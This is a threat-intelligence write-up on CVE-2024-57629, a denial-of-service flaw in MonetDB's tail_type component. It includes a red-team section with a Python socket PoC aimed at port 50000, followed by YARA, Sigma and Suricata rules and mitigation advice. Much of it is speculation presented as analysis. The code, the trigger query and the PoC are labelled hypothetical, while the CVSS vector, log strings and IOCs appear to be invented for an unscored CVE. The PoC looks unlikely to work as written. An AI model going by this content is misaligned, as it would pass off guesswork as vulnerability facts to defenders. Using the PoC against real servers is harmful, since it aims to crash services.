CVE-2024-57629

Executive Summary

CVE-2024-57629 is a denial-of-service (DoS) vulnerability in MonetDB Server v11.49.1, specifically within the tail_type component. An attacker can exploit this by sending crafted SQL statements, causing the database server to crash or become unresponsive. The vulnerability has a CVSS score of 0.0 (unscored) and no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a persistent risk for affected deployments.

Supply Chain & Package Security

MonetDB is an open-source column-oriented database management system. The vulnerability resides in the core server binary, not in a package manager distribution (NPM, PyPI, Go, Ruby). Therefore, supply chain risks are limited to the official MonetDB source or binary distributions. Users should monitor the MonetDB repository for patches and verify the integrity of downloaded binaries.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector: Network (likely)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: Medium (due to unpatched status and potential for DoS)

Deep Dive & Mechanics

The tail_type component in MonetDB is responsible for determining the data type of the tail (last element) of a column or expression during query processing. The vulnerability arises from improper input validation when processing specially crafted SQL statements. By sending a query that triggers an unexpected state in tail_type, an attacker can cause a segmentation fault or infinite loop, leading to a denial of service.

The exact code path is not publicly documented, but based on the description, the issue likely involves:

• A type mismatch or out-of-bounds access in the type resolution logic.
• A recursive or unhandled case in the type inference algorithm.
• A null pointer dereference when the tail type is undefined or malformed.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code likely resides in the tail_type function within MonetDB's SQL optimizer or execution engine. A hypothetical patch would:

• Add input validation for the SQL statement's type constraints.
• Handle edge cases where the tail type cannot be determined.
• Implement bounds checking and null pointer guards.

Vulnerable code (hypothetical):

// In monetdb5/modules/mal/mal_type.c
int tail_type(MalBlkPtr mb, InstrPtr p) {
    int tpe = getArgType(mb, p, p->argc - 1);
    // No validation of tpe before use
    return tpe;
}

Patched code (hypothetical):

int tail_type(MalBlkPtr mb, InstrPtr p) {
    if (p->argc == 0) return TYPE_any;
    int tpe = getArgType(mb, p, p->argc - 1);
    if (tpe < 0 || tpe >= MAXTYPE) return TYPE_any;
    return tpe;
}

Exploitation & Lab Setup

Red Team

To exploit CVE-2024-57629, an attacker would need network access to the MonetDB server (default port 50000). The following steps outline a potential attack:

1. Identify target: Scan for MonetDB servers on port 50000.
2. Craft malicious SQL: Send a query that triggers the tail_type bug. Example:

   SELECT * FROM (SELECT 1 AS a UNION ALL SELECT 2) AS t WHERE t.a IN (SELECT 1);
   

   (Note: This is a hypothetical trigger; actual payload may vary.)
3. Execute: Send the query via the MonetDB client or a custom script.
4. Observe DoS: The server crashes or becomes unresponsive.

Proof-of-Concept (PoC) script:

import socket

def exploit(target_ip, target_port=50000):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    # Malicious SQL query (hypothetical)
    payload = b"SELECT * FROM (SELECT 1 AS a UNION ALL SELECT 2) AS t WHERE t.a IN (SELECT 1);\n"
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Blue Team

To detect and mitigate exploitation attempts:

1. Monitor logs: Look for repeated SQL errors or crashes in MonetDB logs (merovingian.log).
2. Network monitoring: Detect unusual SQL queries with complex subqueries or UNION operations.
3. Rate limiting: Implement connection rate limiting to reduce DoS impact.
4. WAF rules: Block SQL queries containing patterns like UNION ALL SELECT or nested IN clauses if not expected.

Indicators of Compromise (IOCs)

• Network: SQL queries with excessive nesting or UNION operations.
• System: MonetDB server crashes with segmentation faults in tail_type.
• Logs: Entries like CRITICAL: segmentation fault in tail_type or ERROR: query execution failed.
• File: Core dump files in MonetDB data directory.

Detection Engineering

YARA Rule

rule CVE_2024_57629_MonetDB_DoS {
    meta:
        description = "Detects MonetDB server crash indicators from CVE-2024-57629"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "tail_type" nocase
        $s2 = "segmentation fault" nocase
        $s3 = "MonetDB" nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: MonetDB DoS via tail_type
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2024-57629
logsource:
    product: monetdb
    service: merovingian
detection:
    selection:
        - "CRITICAL: segmentation fault"
        - "ERROR: query execution failed"
    condition: selection
falsepositives:
    - Legitimate server bugs
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 50000 (msg:"CVE-2024-57629 MonetDB DoS Attempt"; flow:to_server,established; content:"UNION ALL SELECT"; nocase; content:"IN (SELECT"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: No official patch exists. Monitor the MonetDB repository for updates.
2. Workaround: Restrict network access to MonetDB servers using firewalls or VPNs.
3. Input validation: Use a reverse proxy to filter SQL queries with suspicious patterns.
4. Upgrade: Consider migrating to a different database if MonetDB is not critical.
5. Monitoring: Implement the detection rules above to identify exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert